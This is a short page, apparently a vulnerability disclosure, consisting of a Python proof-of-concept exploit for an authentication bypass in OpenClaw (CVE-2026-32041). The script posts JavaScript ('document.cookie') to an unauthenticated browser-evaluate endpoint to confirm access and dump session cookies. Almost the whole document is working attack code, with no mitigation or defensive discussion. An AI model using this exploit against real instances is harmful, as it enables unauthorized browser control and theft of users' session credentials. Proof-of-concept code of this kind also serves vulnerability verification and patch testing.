CVE-2026-32041 OpenClaw认证绕过漏洞

import requests # PoC for CVE-2026-32041: Unauthenticated Browser Control Access # Target: OpenClaw instance with failed auth bootstrap TARGET_URL = "http://127.0.0.1:8080/api/browser/evaluate" # Example endpoint # Payload to execute JavaScript in the browser context payload = { "script": "document.cookie" } print(f"[*] Attempting to access {TARGET_URL} without authentication...") try: # Send POST request without Authorization header response = requests.post(TARGET_URL, json=payload, timeout=10) if response.status_code == 200: print("[+] Vulnerability confirmed! Access granted without credentials.") print("[+] Response data:", response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")